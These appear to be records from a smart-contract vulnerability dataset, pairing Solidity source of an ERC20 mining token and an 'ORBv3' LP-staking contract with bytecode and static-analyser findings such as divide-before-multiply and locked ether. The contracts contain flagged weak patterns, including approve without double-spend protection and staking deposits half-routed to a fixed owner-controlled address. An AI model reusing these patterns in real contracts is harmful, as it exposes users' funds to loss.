https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6080604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c7578063095ea7b314610257578063163aa00d146102bc57806317da485f146102e75780631801fbe51461031257806318160ddd1461036557806323b872dd146103905780632d38bf7a14610415578063313ce5671461044057806332e99708146104715780633eaaf86b1461049c578063490203a7146104c75780634ef37628146104f25780634fa972e1146105255780636de9f32b146105505780636fd396d61461057b57806370a08231146105d257806379ba50971461062957806381269a5614610640578063829965cc146106ab57806387a2a9d6146106d65780638a769d35146107015780638ae0368b1461072c5780638da5cb5b1461075f57806395d89b41146107b657806397566aa014610846578063a9059cbb146108ab578063b5ade81b14610910578063bafedcaa1461093b578063cae9ca5114610966578063cb9ae70714610a11578063d4ee1d9014610a3c578063dc39d06d14610a93578063dc6e9cf914610af8578063dd62ed3e14610b23578063f2fde38b14610b9a575b600080fd5b3480156101d357600080fd5b506101dc610bdd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7b565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610d6d565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc610d73565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b5061034b600480360381019080803590602001909291908035600019169060200190929190505050610d91565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a611021565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106c565b604051808215151515815260200191505060405180910390f35b34801561042157600080fd5b5061042a611317565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b5061045561131d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561047d57600080fd5b50610486611330565b6040518082815260200191505060405180910390f35b3480156104a857600080fd5b506104b161133a565b6040518082815260200191505060405180910390f35b3480156104d357600080fd5b506104dc611340565b6040518082815260200191505060405180910390f35b3480156104fe57600080fd5b50610507611377565b60405180826000191660001916815260200191505060405180910390f35b34801561053157600080fd5b5061053a611381565b6040518082815260200191505060405180910390f35b34801561055c57600080fd5b50610565611387565b6040518082815260200191505060405180910390f35b34801561058757600080fd5b5061059061138d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610613600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b3565b6040518082815260200191505060405180910390f35b34801561063557600080fd5b5061063e6113fc565b005b34801561064c57600080fd5b5061069160048036038101908080359060200190929190803560001916906020019092919080356000191690602001909291908035906020019092919050505061159b565b604051808215151515815260200191505060405180910390f35b3480156106b757600080fd5b506106c0611630565b6040518082815260200191505060405180910390f35b3480156106e257600080fd5b506106eb611636565b6040518082815260200191505060405180910390f35b34801561070d57600080fd5b5061071661163c565b6040518082815260200191505060405180910390f35b34801561073857600080fd5b50610741611642565b60405180826000191660001916815260200191505060405180910390f35b34801561076b57600080fd5b50610774611648565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107c257600080fd5b506107cb61166d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561080b5780820151818401526020810190506107f0565b50505050905090810190601f1680156108385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085257600080fd5b5061088d600480360381019080803590602001909291908035600019169060200190929190803560001916906020019092919050505061170b565b60405180826000191660001916815260200191505060405180910390f35b3480156108b757600080fd5b506108f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611784565b604051808215151515815260200191505060405180910390f35b34801561091c57600080fd5b5061092561191f565b6040518082815260200191505060405180910390f35b34801561094757600080fd5b50610950611925565b6040518082815260200191505060405180910390f35b34801561097257600080fd5b506109f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061192b565b604051808215151515815260200191505060405180910390f35b348015610a1d57600080fd5b50610a26611b7a565b6040518082815260200191505060405180910390f35b348015610a4857600080fd5b50610a51611b80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a9f57600080fd5b50610ade600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ba6565b604051808215151515815260200191505060405180910390f35b348015610b0457600080fd5b50610b0d611d0a565b6040518082815260200191505060405180910390f35b348015610b2f57600080fd5b50610b84600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d10565b6040518082815260200191505060405180910390f35b348015610ba657600080fd5b50610bdb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d97565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b505050505081565b600081601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60115481565b6000610d8c600b54600a54611e3690919063ffffffff16565b905090565b600080600080600c5433876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020925084600019168360001916141515610e1a57600080fd5b600b5483600190041115610e2d57600080fd5b60136000600c54600019166000191681526020019081526020016000205491508260136000600c5460001916600019168152602001908152602001600020816000191690555060006001028260001916141515610e8957600080fd5b610e91611340565b9050610ee581601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81601454611e5a90919063ffffffff16565b601481905550600e5460145411151515610f5357fe5b33600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060108190555043601181905550610faa611e76565b3373ffffffffffffffffffffffffffffffffffffffff167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600c54604051808481526020018381526020018260001916600019168152602001935050505060405180910390a26001935050505092915050565b6000601560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006110c082601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119282601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600d5481565b600460009054906101000a900460ff1681565b6000600b54905090565b60055481565b6000611372600d5460020a600460009054906101000a900460ff1660ff16600a0a603202611e3690919063ffffffff16565b905090565b6000600c54905090565b600e5481565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000808333876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050828160019004111561161a57600080fd5b8460001916816000191614915050949350505050565b60075481565b600a5481565b600b5481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117035780601f106116d857610100808354040283529160200191611703565b820191906000526020600020905b8154815290600101906020018083116116e657829003601f168201915b505050505081565b6000808233866040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050809150509392505050565b60006117d882601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061186d82601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b60105481565b600082601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b08578082015181840152602081019050611aed565b50505050905090810190601f168015611b355780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611b5757600080fd5b505af1158015611b6b573d6000803e3d6000fd5b50505050600190509392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0357600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611cc757600080fd5b505af1158015611cdb573d6000803e3d6000fd5b505050506040513d6020811015611cf157600080fd5b8101908080519060200190929190505050905092915050565b60095481565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082111515611e4657600080fd5b8183811515611e5157fe5b04905092915050565b60008183019050828110151515611e7057600080fd5b92915050565b600e54611e95611e84611340565b601454611e5a90919063ffffffff16565b118015611ea457506027600d54105b15611eb6576001600d5401600d819055505b611ed36001600d540160020a600554611e3690919063ffffffff16565b60055403600e81905550611ef36001600754611e5a90919063ffffffff16565b6007819055506000600854600754811515611f0a57fe5b061415611f1a57611f19611f47565b5b6001430340600c8160001916905550565b6000828211151515611f3c57600080fd5b818303905092915050565b6000806000806000806000600654430396506008549550603c860294508487101561200657611f9287611f846064886120d890919063ffffffff16565b611e3690919063ffffffff16565b9350611fbc6103e8611fae606487611f2b90919063ffffffff16565b61210990919063ffffffff16565b9250611ffb611fea84611fdc6107d0600b54611e3690919063ffffffff16565b6120d890919063ffffffff16565b600b54611f2b90919063ffffffff16565b600b8190555061209c565b61202c8561201e60648a6120d890919063ffffffff16565b611e3690919063ffffffff16565b91506120566103e8612048606485611f2b90919063ffffffff16565b61210990919063ffffffff16565b9050612095612084826120766107d0600b54611e3690919063ffffffff16565b6120d890919063ffffffff16565b600b54611e5a90919063ffffffff16565b600b819055505b43600681905550600954600b5410156120b957600954600b819055505b600a54600b5411156120cf57600a54600b819055505b50505050505050565b6000818302905060008314806120f857508183828115156120f557fe5b04145b151561210357600080fd5b92915050565b60008183111561211b5781905061211f565b8290505b929150505600a165627a7a72305820d919f47663bd21e0c91d5e6f31bea49bad45fb144e1dd0f6d9712a2f765206550029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,772
0x59e35e233541aaa297fb141579b42c739a938c84
// SPDX-License-Identifier: MIT /** ORBv3 Stake Uniswap LP tokens to claim your very own yummy orb3! Website: https://orb3.xyz */ pragma solidity 0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;} } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Uniswap{ function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getPair(address tokenA, address tokenB) external view returns (address pair); function WETH() external pure returns (address); } interface Pool{ function primary() external view returns (address); } contract Poolable{ address payable internal constant _POOLADDRESS = 0x1E2F5Ed20111f01583acDab2d6a7a90A200533F6; function primary() private view returns (address) { return Pool(_POOLADDRESS).primary(); } modifier onlyPrimary() { require(msg.sender == primary(), "Caller is not primary"); _; } } contract Staker is Poolable{ using SafeMath for uint256; uint constant internal DECIMAL = 10**18; uint constant public INF = 33136721748; uint private _rewardValue = 10**21; mapping (address => uint256) public timePooled; mapping (address => uint256) private internalTime; mapping (address => uint256) private LPTokenBalance; mapping (address => uint256) private rewards; mapping (address => uint256) private referralEarned; address public orbAddress; address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public WETHAddress = Uniswap(UNIROUTER).WETH(); bool private _unchangeable = false; bool private _tokenAddressGiven = false; bool public priceCapped = true; uint public creationTime = now; receive() external payable { if(msg.sender != UNIROUTER){ stake(); } } function sendValue(address payable recipient, uint256 amount) internal { (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } //If true, no changes can be made function unchangeable() public view returns (bool){ return _unchangeable; } function rewardValue() public view returns (uint){ return _rewardValue; } //THE ONLY ADMIN FUNCTIONS vvvv //After this is called, no changes can be made function makeUnchangeable() public onlyPrimary{ _unchangeable = true; } //Can only be called once to set token address function setTokenAddress(address input) public onlyPrimary{ require(!_tokenAddressGiven, "Function was already called"); _tokenAddressGiven = true; orbAddress = input; } //Set reward value that has high APY, can't be called if makeUnchangeable() was called function updateRewardValue(uint input) public onlyPrimary { require(!unchangeable(), "makeUnchangeable() function was already called"); _rewardValue = input; } //Cap token price at 1 eth, can't be called if makeUnchangeable() was called function capPrice(bool input) public onlyPrimary { require(!unchangeable(), "makeUnchangeable() function was already called"); priceCapped = input; } //THE ONLY ADMIN FUNCTIONS ^^^^ function sqrt(uint y) public pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function stake() public payable{ address staker = msg.sender; require(creationTime + 1 hours <= now, "It has not been 1 hours since contract creation yet"); address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress); if(price() >= (1.05 * 10**18) && priceCapped){ uint t = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994; IERC20(orbAddress).mint(address(this), x); address[] memory path = new address[](2); path[0] = orbAddress; path[1] = WETHAddress; IERC20(orbAddress).approve(UNIROUTER, x); Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _POOLADDRESS, INF); } sendValue(_POOLADDRESS, address(this).balance/2); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount); IERC20(orbAddress).mint(address(this), toMint); uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this)); uint amountTokenDesired = IERC20(orbAddress).balanceOf(address(this)); IERC20(orbAddress).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(orbAddress, amountTokenDesired, 1, 1, address(this), INF); uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this)); uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore); rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker)); timePooled[staker] = now; internalTime[staker] = now; LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot); } function withdrawLPTokens(uint amount) public { require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet"); rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount); address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress); IERC20(poolAddress).transfer(msg.sender, amount); internalTime[msg.sender] = now; } function withdrawRewardTokens(uint amount) public { require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet"); rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); internalTime[msg.sender] = now; uint removeAmount = ethtimeCalc(amount); rewards[msg.sender] = rewards[msg.sender].sub(removeAmount); IERC20(orbAddress).mint(msg.sender, amount); } function viewRecentRewardTokenAmount(address who) internal view returns (uint){ return (viewLPTokenAmount(who).mul( now.sub(internalTime[who]) )); } function viewRewardTokenAmount(address who) public view returns (uint){ return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who)) ); } function viewLPTokenAmount(address who) public view returns (uint){ return LPTokenBalance[who]; } function viewPooledEthAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function viewPooledTokenAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress); uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function price() public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap return (DECIMAL.mul(ethAmount)).div(tokenAmount); } function ethEarnCalc(uint eth, uint time) public view returns(uint){ address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress); uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint totalLP = IERC20(poolAddress).totalSupply(); uint LP = ((eth/2)*totalLP)/totalEth; return earnCalc(LP * time); } function earnCalc(uint LPTime) public view returns(uint){ return ( rewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL ); } function ethtimeCalc(uint orb) internal view returns(uint){ return ( orb.mul(31557600 * DECIMAL) ).div( rewardValue() ); } }
0x60806040526004361061016a5760003560e01c80638439a541116100d1578063cb43b2dd1161008a578063d8270dce11610064578063d8270dce146106ee578063e42255d814610719578063e91ed7c91461077e578063ff2eba68146107e3576101c1565b8063cb43b2dd1461060d578063d28de27314610648578063d488ebe814610689576101c1565b80638439a5411461049b5780639d2a679f146104d6578063a035b1fe14610501578063a064b44b1461052c578063b1fd67401461057b578063c4fcf826146105e0576101c1565b80633a4b66f1116101235780633a4b66f11461036a578063452d003f14610374578063475d8733146103af5780634caacd75146103c6578063677342ce146103f35780637228cd7d14610442576101c1565b80630af88b24146101c657806312c7df7314610207578063149c32661461023257806326a4e8d21461027357806329b83c2e146102c45780632dd3100014610329576101c1565b366101c157737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101bf576101be610820565b5b005b600080fd5b3480156101d257600080fd5b506101db6118a2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021357600080fd5b5061021c6118c8565b6040518082815260200191505060405180910390f35b34801561023e57600080fd5b506102476118d1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027f57600080fd5b506102c26004803603602081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f7565b005b3480156102d057600080fd5b50610313600480360360208110156102e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a81565b6040518082815260200191505060405180910390f35b34801561033557600080fd5b5061033e611a99565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610372610820565b005b34801561038057600080fd5b506103ad6004803603602081101561039757600080fd5b8101908080359060200190929190505050611ab1565b005b3480156103bb57600080fd5b506103c4611e90565b005b3480156103d257600080fd5b506103db611f55565b60405180821515815260200191505060405180910390f35b3480156103ff57600080fd5b5061042c6004803603602081101561041657600080fd5b8101908080359060200190929190505050611f6c565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b506104856004803603604081101561046557600080fd5b810190808035906020019092919080359060200190929190505050611fce565b6040518082815260200191505060405180910390f35b3480156104a757600080fd5b506104d4600480360360208110156104be57600080fd5b8101908080359060200190929190505050612269565b005b3480156104e257600080fd5b506104eb612379565b6040518082815260200191505060405180910390f35b34801561050d57600080fd5b50610516612382565b6040518082815260200191505060405180910390f35b34801561053857600080fd5b506105656004803603602081101561054f57600080fd5b8101908080359060200190929190505050612664565b6040518082815260200191505060405180910390f35b34801561058757600080fd5b506105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061269e565b6040518082815260200191505060405180910390f35b3480156105ec57600080fd5b506105f5612939565b60405180821515815260200191505060405180910390f35b34801561061957600080fd5b506106466004803603602081101561063057600080fd5b810190808035906020019092919050505061294c565b005b34801561065457600080fd5b5061065d612c1a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069557600080fd5b506106d8600480360360208110156106ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c32565b6040518082815260200191505060405180910390f35b3480156106fa57600080fd5b50610703612c9d565b6040518082815260200191505060405180910390f35b34801561072557600080fd5b506107686004803603602081101561073c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ca3565b6040518082815260200191505060405180910390f35b34801561078a57600080fd5b506107cd600480360360208110156107a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f3e565b6040518082815260200191505060405180910390f35b3480156107ef57600080fd5b5061081e6004803603602081101561080657600080fd5b81019080803515159060200190929190505050612f87565b005b600033905042610e10600854011115610884576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806136726033913960400191505060405180910390fd5b6000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156109635760